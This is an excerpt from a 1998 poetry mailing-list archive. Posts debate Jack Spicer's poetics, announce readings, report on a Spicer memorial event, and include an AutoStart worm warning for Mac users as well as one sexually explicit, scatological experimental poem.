I haven't seen the analogy drawn in terms of JS before, but there is something ancient and "classical" about this, I think (therefore I speculate): the many-godded and ghosted world of the Greeks, where the passions and folly of the human sphere are enacted on hte stage of an "Outside" theater for the amusement of the gods and the ghosts. Poor us, Spicer seems to be saying, it's all we can here aspire to. But at least we're in contact with the infinite.

Kent

↑ Index

173. henry gould
Re: What sticks to the real
Sun 8 Nov 1998

> "*Words are what sticks to the real.*
> *We use them to push the real,*
> *to drag the real into the poem.*
> *They are what we hold on with,*
> *nothing else. They are as valuable*
> *in themselves as rope*
> *with nothing to be tied to.*"
>
> *Another thing to think of here is a kind of irony: Spicer's simile - that*
> *words are what we hold onto, as valuable IN THEMSELVES only as much as rope is*
> *with nothing to be tied to - this simile is valuable IN ITSELF purely for*
> *its wit - pure useless wit (not in my awkward rephrasing - but in itself) -*
> *so it sort of undercuts the thrust of the argument - but only a little -*

ON THE OTHER HAND, neither the wit nor the words exist in isolation, "purely" - since there would be no wit to this simile without a relation to some truth about the "real". Wit without a point is like a rope tied to nothing at both ends that breaks anyway. - Henry G.

↑ Index

174. Les Plooster
Re: Announcing TRUE by Rae Armantrout
Sun 8 Nov 1998

"One reads this book for . . . "

I'll pretend I didn't read that.

Les Plooster

↑ Index

175. David Baratier
virus
Sun 8 Nov 1998

anyone out there with an apple computer: Since I don't use outside disks on this computer I know I got a strain of the first known apple worm either from an attachment from this list or a person from this list. It's called auto start 9805. It cannot be seen on the hard drive unless the computer is booted with extensions off. Yes, kids it's invisible. Sometimes (ie rarely) it can be seen as "DEL Printer Spooler" or variations containing the words "Printer Spooler" in the systems menu. Or update your software with the most recent version from the website of the company you use to find it. Symantec 4.5.1 from before late July of 98 does not recognize this virus without the update.

Be well

David Baratier

↑ Index

176. Mark DuCharme
Re: What sticks to the real
Sun 8 Nov 1998

It seems to me the difference is not just one of emphasis. If you're wrestling with the "world-*constituting*" dimension of language then aren't you ultimately wrestling with language as access to that very "non-linguistic Other"--whose "world" (which is admittedly a vague term) one ultimately shares THROUGH language? I assume this is at least part of what Ron meant.

Mark DuCharme

Steve Shoemaker wrote:
>The Spicer lines here seem less concerned with the
>world-*constituting* dimension of language than with language as a kind

of
>wrestling with a non-linguistic Other. Again, I can see how the distinction
>I'm trying to make might disappear into a question of emphasis, but it
>still seems to me that the emphasis is significant.

_____
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↑ Index

177. Todd Baron /*/ ReMap
Re: Lapis Press
Sun 8 Nov 1998

Lapis went under went--gulp--Sam Francis--who operated it--did.

Tod Baron

↑ Index

178. Mark DuCharme
Re: My Disco-Ball of Wrath
Sun 8 Nov 1998

> *These are not menat [sic] to be malicious spiteful comments....*

Really? Well do a favor to the List & myself and spare us malicious & spiteful comments when you do have them.

Sincerely,

P.D. Smote-Wat
Chair, Department of S.U.V. Studies
University of North Umbrage

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

179. A. Jenn Sondheim
Radio Days with Jennifer and Alan
Sun 8 Nov 1998

-

Radio Days with Jennifer and Alan

She maneuvered her dirty hungry twat into my waiting mouth; yellow liquid dribbled from her hole, as everything turned fecal across the microphones and

consoles. My eager tongue slavishly licked whatever she had to offer; her full breasts and penetrating nipples graced my eyes with harsh smells. I fingered her filthy hole with my full hand - she did the same to me, and we swallowed the remnants of each other's dinners, inhaling odors and flu- ids. Earphones and statics shorted out the last words ever on the radio while hot Jenny and I double fisted. Her thick clit penetrated me as my big dick rubbed raw inside her, pierced and swollen into a bent erection looking for a way out. Her cum cov- ered my face; I licked mine from her crack, burrowing my face deep within her. My hair entangled in her intes- tinal outpouring; I gagged in abject ecstasy as the reading shuddered to a halt, the moderator beside herself. Jenn and I were covered with each other's vomit, reswallowing, regurgitating familiar interiors, memories of meals eaten naked together. Food and menses floated my balls to- gether be- tween her teeth; they tore into me, as tainted blood mixed Jen and Al together forever and ever.

(written without the use of the _eight forbidden words_ listed by the station.)

↑ Index

180. Todd Baron /*/ ReMap

Re: Radio Days with Jennifer and Alan

Mon 9 Nov 1998

A. Jenn Sondheim wrote:
>
> -
>
> Radio Days with Jennifer and Alan
>
> She maneuvered her dirty hungry twat into my waiting mouth; yellow liquid
> dribbled from her hole, as everything turned fecal across the microphones
> and consoles. My eager tongue slavishly licked whatever she had to offer;
> her full breasts and penetrating nipples graced my eyes
> station.)
>
> _____
well--without sounding the "censor"
what the fuck was that?

ReMap

↑ Index

181. Kent Shaw
for those in the St. Louis area
Mon 9 Nov 1998

This Wednesday, Left Bank Books and UM-St. Louis Litmag present:***

::::::::
Donald Finkle, Howard Schwartz,
Steven Schreiner, and Jennifer MacKenzie
::::::::
(reading poetry)**

(1)Please insert bright marquee lights around names;
(2)repeat parenthetical after each one.
Thank you.

**General note for those unsure of how poetry in St. Louis is read: For a man like Donald Finkle, it's read quietly, with a microphone that just barely hints at a voice that just barely hints that he's using words that barely hint at a poem. Becuase, of course, the best poem is the one whose words turn into a sleek steel sculpture, and that moves inside you. Moving, that is, into Howard Schwartz telling you one of his Jewish Folktales that taste, to me, like the potato soup my stepmom made me for dinner every night. But then, perhaps there was a tragedy, some fatal element I hadn't quite found in the soup, but could find at the table, or brought in with the bowls, or just waiting on some bookshelf where Steven Schreiner's poems were whispering sterility & finality together (becuase they both sound so similar, or familiar). And that's when I find that the whispering wasn't the poems, it was the seductive tone of Jennifer MacKenzie telling me honeymoon secrets that sound like two feet walking through autumn leaves.

***And for those who need to know more:
Left Bank Books: 399 N. Euclid in CWE.
Wednesday, November 11, 7PM
b/c for more.

Kent Shaw.

↑ Index

182. Dan Dlugonski
Re: From the Pacific Northwest
Mon 9 Nov 1998

Attended a good reading tonight (at Powells in downtown Portland), folks from the Pacirfic Northwestern Spiritual Poetry Anthology (from Charles Potts' Tsunami Inc., http://www.wics.com/~tsunami)-- Potts, Sharon Doubiago, Dennis

Held , Eric Wegner, host Barbara Lamorticella and myself, dan raphael. The more i read this anthology the richer experience i get. Editor Charles Potts' crosscut s manyt expectations about 'spiritual' or 'regional' poetry, working from the perspective of a 30+ year veteran of small press poetry. working from his childhood roots in the idaho/eastern washington dimension, working inside the mind of a visonary writer/perceiver. Good review of the book at Caffeine Destiny--a fine e-mag based in Portland that's open to hearing form a variety of folks--http://www.teleport.com/~denning/caffdestiny.html.

↑ Index

183. david bromige
re : radio days
Mon 9 Nov 1998

At first I thought this was a back-channel update from Bowering!

(Mailed from The Good Ole Days, of course, and delayed--and this is all too plausible--for 30 years by Canada Post).

Alan, I have been warned--often--by Johnny Otis of KPFA, that there are 7 forbidden radio words. You tell of 8. Could it be that California really is more permissive? If so, I wonder what that one word can be? (b-c me if you know).

At any rate, thanks for letting all but 8 words hang quite far out. Let me recommend--to you, and fellow-listers--pp.82-83 (in Chapter 9) of the in-the-bookstores but also online (at Coach House Books website) B&B novel _Piccolo Mondo_ as our best match for this scatalogical generosity (except ours is not scatological). David B

↑ Index

184. A. Jenn Sondheim
Re: re : radio days
Mon 9 Nov 1998

The words are

SHIT
PISS
FUCK
MOTHERFUCKER
COCK
COCKSUCKER
TIT
CUNT
ASSHOLE

and I've wanted to add

MOLLYCODDLE

Ah well, back to the drawn-board.

Alan

↑ Index

185. david bromige
re : PacNorWest/ Charlie Potts
Mon 9 Nov 1998

Dan Dlugonski's update from PacNorWets mentions Charlie Potts, and I wanted to draw to the List's attention Potts' double novel, _The Yellow Christ_ and _Shit Crackers_, vivid and immediate writing that is largely constituted of a record of the poetry scene in SF and Berkeley in the mid-late 60s. Sorry not to recall the publisher's name. This item could be o.p. by now. But if anyone has any leads as to where copies may be available, please let us know. David

↑ Index

186. Leonard Brink
What words stick to IS "real"
Mon 9 Nov 1998

Spicer: Words are what sticks to the real
Brink: "Real" is a word
Hertzberg: Really?

(Brink:) That's a loaded question.

↑ Index

187. Thomas Bell
Re: BOMBAY GIN - call for submissions
Mon 9 Nov 1998

Lisa,

I would like to submit part of Dark Journey (a work in constatnt process)
http://www.geocities.com/Athens/Olympus/2562/Dark-Journey/Dark.htm

but am not sure how to do so or if it is useable because of the format. Let me know if you have any interest.

tom bell
[redacted]

LIsa Birman wrote:
>
> BOMBAY GIN, the annual
NNMNNL MMNMMNK \\\/ <><>,...,.,
J K HHH ZOOOOZ ZEUS'WRATHHTARW MM
LLLL STOPG [EMPTY] SPACER

http://www.geocities.com/Athens/Olympus/2562/Dark-Journey/Dark.htm
http://members.tripod.com/~trbell/criticism/gloom.htm
http://members.tripod.com/~trbell/Waysout.htm
http://members.tripod.com/~trbell/petals/petals.htm
http://members.home.net/trbell/motheran.htm
http://members.home.net/trbell/start.htm
http://home.talkcity.com/EaselSt/trbell/Blackwho.htm

↑ Index

188. A. Jenn Sondheim
J's stupid theory of poetics (to A)
Mon 9 Nov 1998

-

but I meant it
but she meant it
but they meant it
because it was easy for them to say
because they were speaking from the hearts
because nanotech s/ms sprung like bees from the clover into the
of the clay - into the heart of the matrix
because the eight forbidden words were an excuse for the truth
because the seven forbidden words were named for the days of the week
because there are five vowels of truth and there are twenty-one
consonants of lies
the vowels are of truth because the vowels are breathed from the body
the consonants are of lies because they hold the breath back
restrain the breath
stop the hands from clenching, fingers from spreading wide
because they sieve the vowels
but they meant it
but she meant it
but she meant it with her whole heart and very soul
s/ms in the eyes and hands
s/ms in the fingers and ears

hearing the consonants trying to get through trying to gettt through
consonants are s/ms - consonants are linkages couplings
she knew they thought vowels linked and coupled
vowels breathed
breathed blood - distension and fissure
the vowels paid no attention to the vowels
paid no attention - too busy with the body
blood and sacrifice of the body - s/m incisions
cuts - scars - wounds - breakthrough - consonant inscription -
consonants run rampant
but she meant it - the way they ran rampant
busy with meaning - way they made meaning
she meant to make it run

↑ Index

189. Gabriel Gudding
Re: My Disco-Ball of Wrath
Mon 9 Nov 1998

On Sun, 8 Nov 1998, Mark DuCharme wrote:

> *Really? Well do a favor to the List & myself and spare us malicious & spiteful comments when you do have them.*

1). I resent the above implication that my skillful attack on your post-langpo position was mere senseless wit. My deepest apoplexies.

2). When I asked the air if I truly believe "there is something fat and abominable banging around in the fata morgana of [your] mind," I only mean to insinuate you've not, in your life, thought very carefully.

3). When -- almost as an afterthought! -- I insist that "I would smote [you] for a nickel," I am allowing the weight of the reader's humanity to repose in the fictivity presented by the auxiliary "would": this is Not ad hominem!

4). Finally, I fundamentally resent the implication that I would in fact, as I put it, "smack [you] like a spondee."

5). I am not coming unhinged, nor do I believe you are standing directly behind me.

6). That it is now a fact of legend you look like a hyppogryph is something somebody should have mentioned to you long ago.

7). If you decide to address the above considered assertions, I hope you steer clear of cheap shots.

Warmly, Risibly, & Yours in the Spirit of Vaudeville,

Gabe

> *Sincerely,*
>
> *P.D. Smote-Wat*
> *Chair, Department of S.U.V. Studies*
> *University of North Umbrage*
>
> ---
>
> *Get Your Private, Free Email at http://www.hotmail.com*

↑ Index

190. J Kuszai
A suggestion-
Mon 9 Nov 1998

It has been suggested again recently that one of the purposes of this list is to post announcements of events and new publications. As one reader of this list, I would like to hear MORE reviews of publications and more reporting and commentary on events (readings, conferences). Imagine the "Scene Reports" section from the old days of Maximum Rock n Roll. Or the eye-on-society pages of your local newspaper. There are many announcements made about upcoming events, but rarely is there any follow-up. Just a thought!

LA Boys: what happened at the Ribot Conference? I tried to go, but got lost in traffic, and ended up in long beach. "What's your cell-phone?"
Buffalo Gang: what goes on in the old neighborhood?
What's up in Philly, talkers?
Boston?
More about New York!
DC? Anyone home?

Any information you can provide will be greatly appreciated. Sincerely,

Desert Wanderer

↑ Index

191. David Baratier
My trip to NYC
Mon 9 Nov 1998

I will be starting at Larry's in Columbus (high street near OSU) with a shove-off on Monday the 9th. I hope to catch up with you at the readings and afterwards for libations and revelry. The solid stops are:

Nov. 14 -- Philly. Highwire Gallery, 139 N. 2nd St., (Old City)
with Ethel Rackin, Chris Stroffolino, & Tom Devaney.
Starts exactly at 7:30PM.

Nov. 15 -- NYC. Zinc Bar, 90 West Houston Street off Laguardia Pl. with Sean Killian & Gena Mason. Starts around 7:30PM.

Nov. 19-- Albany, NY. At Cafe Web, 1040 Madison Ave
near the Norma Jean Madison Theater.
David Baratier. Starts at 7:30 PM

Nov. 21st-- Boston. The Bookcellar (Cambridge, Porter Square) with Dan Bouchard. Starts at 7:00 p.m.

If you aren't sure you can make it send me your number & I'll call from wherever I land. I'll be checking mail until Tuesday night.

Be well

David Baratier

↑ Index

192. Burt Kimmelman
Lapis Press / Cid Corman
Mon 9 Nov 1998

My heartfelt thanks to the many of you who have leapt to my aid regarding Lapis Press and Cid Corman. Thank God for this list!

I do hope I can reciprocate some time.

Burt

Burt Kimmelman
Department of Humanities and Social Sciences
New Jersey Institute of Technology, Newark, NJ 07102
[redacted] (p) [redacted] (f)
[redacted] (e) http://eies.njit.edu/~kimmelma (i)

↑ Index

193. daniel bouchard
Re: A suggestion-
Mon 9 Nov 1998

At 08:40 AM 11/9/98 -0500, you wrote:

> *What's up in ....*
> *Boston?*
> *Any information you can provide will be greatly appreciated.*

Dear sir,

I thank you for your interest in things generally.

I just returned from Paris.

On Saturday (11/21) David Baratier and I will be read (& be reading) at the BookCellar Cafe, on Massachusetts Avenue, in Porter Square, Cambridge.

David Baratier is in the race for poet laureate of England.

I am doing what I can.

Do come.

- db

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

194. daniel bouchard
another important reading announcement
Mon 9 Nov 1998

Also in Cambridge, this Thursday (11/12), Kenward Elmslie is reading at MIT, Bartos Theater (20 Ames Street).

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals

Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<

↑ Index

195. Edward Foster
Re: What sticks to the real
Mon 9 Nov 1998

Words are somewhat more than what sticks to the real. Obviously.

↑ Index

196. miekal and
mesostic / 14 ply
Mon 9 Nov 1998

---

mesostic for dick higgins

heaD
I
Character
looKing

Her
I
slidinG
Game
I
Noticing
claSp

_____

words extracted from "foew&ombwhnw" by dick higgins

the first 17 mesostics for dick higgins
http://net22.com/qazingulaza/joglars/mesostics/index.html

↑ Index

197. **Thomas Bell**

Re: BOMBAY GIN - call for submissions

Mon 9 Nov 1998

---

sorry

Thomas Bell wrote:
>
> Lisa,
>
> I would like to submit part of Dark Journey (a work in constatnt
> process)
> http://www.geocities.com/Athens/Olympus/2562/Dark-Journey/Dark.htm
>
> but am not sure how to do so or if it is useable because of the format.
> Let me know if you have any interest.
>
> tom bell
> [redacted]
>
> LIsa Birman wrote:
> >
> > BOMBAY GIN, the annual
> NNMNNL MMNMMNK \\\/ <><>,...,.,
> J K HHH ZOOOOZ ZEUS'WRATHHTARW MM
> LLLL STOPG [EMPTY] SPACER
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http://members.home.net/trbell/start.htm
http://home.talkcity.com/EaselSt/trbell/Blackwho.htm

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198. **david bromige**
Jack Spicer commemorated
Mon 9 Nov 1998

My highly subjective take on this occasion at SF's Yerba Buena Center needs to be fleshed out by a Listee better able to identify the readers...Dodie? Kevin?

Arriving slightly late due to a delay on Bart that held up Creelea Henderson, one of my two pre-reading dinner companions (the other being CH's S.O., Brent Cunningham), we found to our dismay the box-office person claiming the event was sold out. "Take my left arm," I said to Brent; and, "take my right arm," I told Creelea. I informed the house manager that I could not get up the (long) flight of stairs w/o this help. Since he knows me pretty well, he didn't swallow this for an instant; but he did allow the farce to continue. And once inside the glass-box room that was our venue, two of us found seats and one, a wall to lean against. I observed further persons finding portions of the floor to sit on. Never say "never"!

The room was not having the most efficient use made of it, thank goodness. Instead of banked, raked or ranked seating, there were small round tables with two to four chairs at each. I sat near the front, so did not do my usual head-count, but I estimate attendance at 60. An unprepossessing white wine was being dispensed from a bar in one corner--free! (or, as someone said, no, it was the poetry that was for free). The atmosphere was festive, sort of. There was an easy buzz of conversation, thanks to the seating arrangements and the prior knowledge these persons had of one another. Whereas I am often the oldest person at any reading I go to these years, I was far from that this time. If Spicer were alive today, he'd be 74, and a number of his peers were present.

The books which were in part the object of the occasion, _Poet, Be Like God_ and the Jack Spicer Lectures (do I have the title right? That book, at any rate) were stacked on the table I sat at, each volume emitting its aura of a good meal waiting to be et. The authors of the first, Kevin Killian and Lew Ellingham, were present--KK MC'ing the evening--with his customary charm: heartfeltness, slight swagger, and spunky cheek--but, sadly, not the editor of the other, Peter Gizzi, who contracted some horrible lung-bug in France, and was resting at home in Santa Cruz (Poets, stay State-side!).

Since I can recall the names of only some of the speakers, I will not exhaust myself only to sound invidious, and I am going to hope that KK or Dodie B will post a PS to this, listing them.

One by one, we stood up, went to the mike, gave some account of our acquaintance with Jack, and then read a couple of his poems. Fourteen or fifteen of us did this. The order of our coming and going rested on the chronology of Spicer's composition, something KK is laudably familiar with. Ariel Parkinson, for instance, opened the evening, because she was to read a very early poem of Jack's. Her address I found moving, because she went so far back with Jack (and Robert Duncan, also), and because she said "I have been painting their poetry all my life. That is why I am not better-known as a painter."

As we know, Spicer played with the notion of a spirit-life, messages from the dead, etc, and there was some uneasiness, I suspect, that we were commenting on a dead one who might well be listening. In any case, there were several joking remarks along those lines. One speaker said "Jack Spicer _is_ alive and well, but he's at the Oakland Coliseum tonight, listening to Rosemary Clooney."

The anecdote I liked best--or can remember best--was told by Ernie Edwards. He must have been 15 years or so Spicer's junior? Taken to Gino & Carlo's, the North Beach bar where the Spicer Kreisl convened nightly, "to meet a poet," EE liked it so well that he became a regular, often driving Spicer home (through the Broadway tunnel to Polk St) when much the worse for wear. One night, Spicer invited him in for a drink. "It was a disaster area, no housekeeping at all, greasy dishes stacked in the kitchen sink." At some point, needing to pee, he asked where the toilet was. "There's the sink," said Jack. "Oh, but first, let me get a glass out of there for your wine." Eventually, EE told us, they went to bed--"but I'm not going to tell you what we did."

The readers I liked best were Joanne Kyger, inimitably (non)theatrical, and--new to me--Nemi Frost, who was, as a visual artist, not expected to read well at all, eh? She was brilliant. She prefaced her reading with an account of the anarchist monopoly games she, JS and friends would play while drinking martinis. Nemi F looked impossibly young to have been _there, then_ . Felicitations! --Joanne, btw, as the evening wore on, began a barrage of Terribly Rude Remarks from her table, keeping alive a good old SF tradition.

To hear this poetry read by fifteen or so quite various voices was to realize, again, how solid was Spicer's gift. On the page, it can look impossibly quirked, but those words fit many mouths.

We ended at 9:20, time to mix, catch up on old friends.--for me, there were persons I hadnt seen in 30 years : David and Hilda Burton, for instance. Or 25 years : e.g., Sarah Howard. Or 10 years : e.g., Jeannie Lance. Others present (apart from those reading) included Steve Vincent, Norma Cole, Douglas Powell, Tom Marshall, Bob Gluck, Donald Yurevich, Kush and his camcorder, Steve Farmer, Maxine Chernoff, Paul Hoover, Bev Dahlen, Fran Herndon, and persons who deserve a better memory than mine in such accounting. Sorry, dear

friend! And thanks, Dodie and Kevin, for your enterprise and hard work! You are the boon and the blessing of Bay Area cutting-edge poetry.

Tallying the names makes me realize how many I would have expected to be there, weren't. But--where would they have sat? There should be a Next Time, in a bigger space, with attendance compulsory for all Bay Area poets. It should go on all day and all night. And maybe it could include writing about the poetry. I don't think such would have felt appropriate at what was more-or-less an agape-fest--too distancing. Yes, and Robin Blaser and George Stanley and Stan Persky shoulfd be flown in from Vancouver. Where is the philanthropist who will start the Jack Spicer Memorial Foundation?

David Bromige.

↑ Index

199. Maria Damon (Maria Damon)

Re: A suggestion-

Mon 9 Nov 1998

At 8:40 AM 11/9/98, J Kuszai wrote:
>It has been suggested again recently that one of the purposes of this
>list is to post announcements of events and new publications. As one
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>lost in traffic, and ended up in long beach. "What's your cell-phone?"
>Buffalo Gang: what goes on in the old neighborhood?
>What's up in Philly, talkers?
>Boston?
>More about New York!
>DC? Anyone home?
>
>Any information you can provide will be greatly appreciated.
>Sincerely,
>
>Desert Wanderer

yeah, and what brave soul will review the hannah weiner event? (not moi, i'm mildly sick on my return from said event.)

↑ Index

200. Dale Smith

A suggestion-Things Are Happening in Austin...

Mon 9 Nov 1998

In AUSTIN, Texas, NY City poet Joshua Beckman read from his new APR award-winning book, Things Are Happening. The event took place in the living room at chez moi and Hoa's. Several of Ms. Nguyen's students appeared on-time though we were nearly an hour late to begin, waiting on local artists Philip Trussel, Sharon Roos, RJ Koelher and Peggy Kelley to arrive. Also present was Roberto Tejada who, with me, guarded the Red Hook in the ice box (they call 'em ice boxes in Tejas). Once the cold ones vanished and the younger guests departed, my birthday gift of Heradura tequila was passed around. Scott Thomsen came late (his wife was out-of-town) but we enjoyed making him uncomfortable with discussion of Chinese birth signs (you closet astrologists would have appreciated the conversation). Trussell quizzed me about Gerrit Lansing and asked me what the "Blue" is when I said "out of the blue." We puzzled over that a while and agreed to its significance.

Friday, Joshua, Roberto, Hoa, R's roommate Cameron and myself met at the Austin Museum of Art for an exhibit by Cindy Sherman and Mark Todd. Some of you may know the former's work, with photos of the photographer in varying poses that expose the social muscle-flexes of the mostly male-made movie industry. Todd's work, Badlands, addressed the Protestant--as in Protest--elements of Far West mythos in the guise of serial killers and other modern day heretics. His thematic projection is quite interesting, even if the form suffers with the tried-and-true blow-up media-formatting of nervous, newsprint-pixelated paintings.

Later, we went to Thai Soon for Phad Thai, then on to Waterloo Ice House for whiskey and beer. Then we dashed to the Gingerman and finally Club de Ville, where we sipped our drinks and slid into that woozy conversation zone known only to late-nite drinkers.

Hoa made omlettes and potatoes the next morning (I did the dishes). It rained. We discussed poetry with Joshua, a damn good poet and a Scorpion to boot. We traded books, exchanged gossip. I read fragments of poetry, poor him. Sulfur arrived with Kenward Elmslie's 70 I Remembers for Gerrit and I thought of the "Blue" again.

Joshua left today. He's driving cross country. Maybe he'll see one of you next.

Dale

>At 8:40 AM 11/9/98, J Kuszai wrote:
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>i'm mildly sick on my return from said event.)
>

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201. **miekal and**
Re: Poetries of Canada
Mon 9 Nov 1998

---

d e l i c a c y

↑ Index

202. Steve Shoemaker
Re: What sticks to my shoe
Mon 9 Nov 1998

Ah, yes, this thread has deconstructed in usual list-fashion, and that's ok. Words are all. I'll spare you any impassioned pleas for the rocks, and keep my pagan rites secret, the way they oughta be...

steve

↑ Index

203. Peter Balestrieri
linguistic transparency
Mon 9 Nov 1998

Mark Baker wrote: "But maybe not as naive as the need for LANGUAGE poets to provide a corrective to the "too-easy and too-prevalent assumption of linguistic transparency." Name one 20th-century linguist or philosopher of language who assumed anything like this. Name one English major who assumed it. The easy and prevalent assumption today is the reverse: language is completely opaque."

I spent my English major education at the University of Wisconson-Milwaukee where the vast majority of my fellow E-majors believed in linguistic transparency, and not a few professors as well. I had a fellow student wave a copy of "I Know Why the Caged Bird Sings" in my face while she yelled, "this IS Maya Angelou, this IS Maya Angelou"! My experience was that I had to battle constantly to get people to even listen to the idea that language wasn't a window with "reality" on the other side. I still do, now that I spend my days with English majors who toil away in Silicon Valley.

Pete

↑ Index

204. KENT JOHNSON
Re: What sticks to the real
Mon 9 Nov 1998

After reading David's post about the Spicer Memorial event, I took a nap and had a sort of dream. I was there, with David and Lappo and George and Guido and the girl who is number 27 or whatever at Gino and Carlo's. It was the late morning, and we had been there for a few hours and already it was becoming apparent that David was not the drinker he brags on the List to be and that Guido and I would have to help him climb the stairs to the memorial event. George, it was clear, would have to be left behind period. My memory is

somewhat hazy of the dream (with exception of the very vivid ending) but here is a reconstruction:

(Beatles playing in the background on jukebox so we are shouting)

David Bromige: Yeah yeah yeah. Speculating to understand and being an intitate and all that... Look the the guy why he would piss into the dishes in his own sink for crissakes!

Kent Johnson: Look David, with the idea of speculating to "understand" I didn't mean that there is a "prior" body of meaning or knowledge waiting hidden in the Spicer corpus (at least not one put there by the poet). Rather, it's that Spicer's writing is an opening into a certain way of being with language that accepts incompletion and uncertainty as the bottomless truth of any meaning or knowledge. I mean we are intitiates in that sense, in that the poetry openly invites us to participate in the writing and rewriting of its knowledge.

DB: Oh Fuck _me_. Do you realize how stupid that sounds? You keep talking like that and you'll miss out on your whole goddamned life! Take the stupid cotton out of yer mouth and stop being so grim...

Kent Johnson: Obviously, that idea I mentioned right before you said "Fuck me" has made a million rounds by now, to the point of becoming almost "certain truth".... I mean, I'm not trying to tack some dying theoretical fashion onto him. Because in Spicer there's a difference-- it's not that the bottom drops out of language into nothingness: There is an Otherness that is there, the "ghostly" realm that the words are tied to.

DB: Oh blah blah blah blah. Let me tell you something. I knew Jack Spicer. And you Mr. Johnson are no Jack Spicer.

George Bowering: You can (hic) say that again! You don't even look like him! Hah! I mean who do (hic) ya think this guy was a saint or somethink? And me (hic) am I a ghost or what? Oh hey hey hey look the bottom just dropped out of the language in my glass. ha ha ha ha... the language of (hic) my glass! It's transparent, get it? ha.

Kent Johnson: No, not a saint, but what American poet before or since him (with the exception of Emily Dickinson) practices this listening to otherness with such _mystical_ fervor and self-effacement? Do we have in American poetry a more mystical poet than Spicer? It seems to me that it's right to read him as well avant his times in terms of his "theoretical" attitudes, but he is also a throwback: he is our Sor Juana de la Cruz, our San Juan, a kind of neo-Platonist Derridean if such a Centaur is possible.

(At this mention of the word "centaur" something disturbing happened. The girl who is number 27 raised her hand and pointed with trembling finger in the

direction of David Bromige, so upset that all the Falstaff she had ingested sprang like a long projectile from her mouth. And to my horror, as if I were with Dante in the Inferno itself, this is what I saw: The dual-authors of the pornographic novella Piccolo Mondo had fused into a single form: Here was the furry and cloven-hoofed body of George Bowering, but only the bottom part. The top part, or torso, if you will, was that of David Bromige. It was very strange. For some reason Bromige suddenly had outrageously huge sideburns, ones so large as to make Matthew Arnold’s look like peach fuzz. Great, spongy, flopping things which fell down his jowls below the line of his shoulders. As he frolicked with Bowering’s long and skinny sex (or I suppose it was his as much as Bowering’s), his sideburns made a wind sound, bringing to Gino and Carlo's an air of such malodour that I cannot describe it.

What the fuck is that fucking smell, shouted a burly longshoreman at the bar.

And then I woke up.

↑ Index

205. David Baratier
Re: What words stick to IS "real"
Mon 9 Nov 1998

Spicer: Words are what sticks to the real
Brink: "Real" is a word
Hertzberg: Really?
Brink: That's a loaded question.

I'm loaded was that a question

Be well

Davkd Baratier

↑ Index

206. John Kimball
Poetries of Canada
Mon 9 Nov 1998

Poetries of Canada

-- a special edition of The East Village Poetry Web --

edited by Jack Kimball & David Bromige

In North America: <http://www.theeastvillage.org>

Japan: <http://interserver.miyazaki-med.ac.jp/~east/village.htm>

A "first stab" at a permanent online resource anthologizing 45 living poets and artists. Lots to read and look at. Of course, the work ranges spectacularly:

-- a 45-minute (when read aloud) manifesto, "the dangerous prevalence of imagination," by Toronto-based Darren Wershler-Henry;

-- pen-and-ink-calligraphed, xeroxed and typewritten manuscripts from Vancouver poet Gerry Gilbert;

-- the Web textcraft of "Osmose" by Montrealer Char Davies, a "fully immersive" recreation of artspace on exhibit at The National Gallery in Ottawa.

Full list of contributors:

George Stanley; Maxine Gadd; Opal Nations; Lissa Wolsak; David McFadden; Lisa Robertson; Naomi Foyle; Gregg Simpson; Steven Ross Smith; Erin Moure; Fred Wah; Jamie Reid; Barry McKinnon; Harold Rhenisch; Victor Coleman; Ryan Whyte; Renee Rodin; Norma Cole; Dave Cull; Roger Hogg; Steve McCaffery; David Bromige; Gerry Gilbert; Karen Mac Cormack; Meredith Quartermain; Louis Cabri; George Bowering; Angela Bowering; Jeff Derksen; Robert Young; John Newlove; Clint Burnham; Billy Little; Frank Davey; Lionel Kearns; Darren Wershler-Henry; Douglas Barbour; Robin Blaser; Char Davies; Lillian Necakov; Jim Andrews; damian lopes; Ted Warnell; Patricia Seaman.

You're welcome to visit, bookmark and revisit often.

↑ Index

207. **R M Daley**

Re: Damon: A suggestion:weiner reading

Mon 9 Nov 1998

---

message from a youngin (even under 30 even) who attended inconspicuously who never saw hannah weiner nor most of the tribute's readers (before)

1)...appreciated james sherry's (?- slow to bad memory) gentle rebuttal of all the 'she's crazy' talk floating around - here in sanfran (oh and surely, more centrally available hereon this listserv) spicer mania abounds - lots of reference to his use of 'dictation' a la hd or yeats even, but never really a consideration of it as 'crazy' - whatever getsya by, right? - dictation, voices, acrobatics (prevalent in NYC parks) projections of words on a cat, these are all personally public events and so it seems that calling them (or he or she) crazy insnae insane crazy, especially when in the context of the writing, well seems kind of useless and maybe of an hysterical-woman thing that need not continue to grace the halls of contemp. poetry (especially as a kind of explanatory device, like a handicap/gift that makes the writing necessary, and therefore categorizable, as crazy talk or something)

2)really enjoyed all the stories and photos - brave move - quite generous, especially schneeman's bra/dream-hannah catcher and very glad to see the films - weiner's reading was amazing, did she do much public appearancing for her later stuff?

↑ Index

208. Kathy Lou Schultz

meow, meow

Mon 9 Nov 1998

Anyone having writing in which "projections of words on a cat" are
involved should please see the editors of Lipstick Eleven immediately.
(And you think I'm kidding!)
Kathy Lou
p-r-r-r

RM Daley wrote:
lots of
reference to his use of 'dictation' a la hd or yeats even, but never
really a consideration of it as 'crazy' - whatever getsya by, right? -
dictation, voices, acrobatics (prevalent in NYC parks)
projections of words on a cat, these are all personally public events
and
so it seems that calling them (or he or she) crazy insnae insane crazy,
especially when in the context of the writing, well seems kind of
useless
and maybe of an hysterical-woman thing that need not continue to grace
the
halls of contemp. poetry (especially as a kind of explanatory device,
like
a handicap/gift that makes the writing necessary, and therefore
categorizable, as crazy talk or something)

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209. Dale Smith

Re: linguistic transparency

Mon 9 Nov 1998

Transparent or opaque, let the words fly, if it's real and attached or attracting people. How do you make language effective, evocative or reflective of the attentiveness that apparantly writers provide? The transparent/opaque syllogistic/non-syllogistic arguments are only postures provided to secure minor movements within a tradition of language mobility and mutation from song to

pop hyper-consumer idealism. The greater threat to the Poem or its prose variants is the seductive appeal of the Image; scopic, total and relentless. Models of consciousness are involved here, internal and external projections of ourselves onto inner and outer spaces.

> Mark Baker wrote:
> "But maybe not as naive as the need for LANGUAGE poets to provide
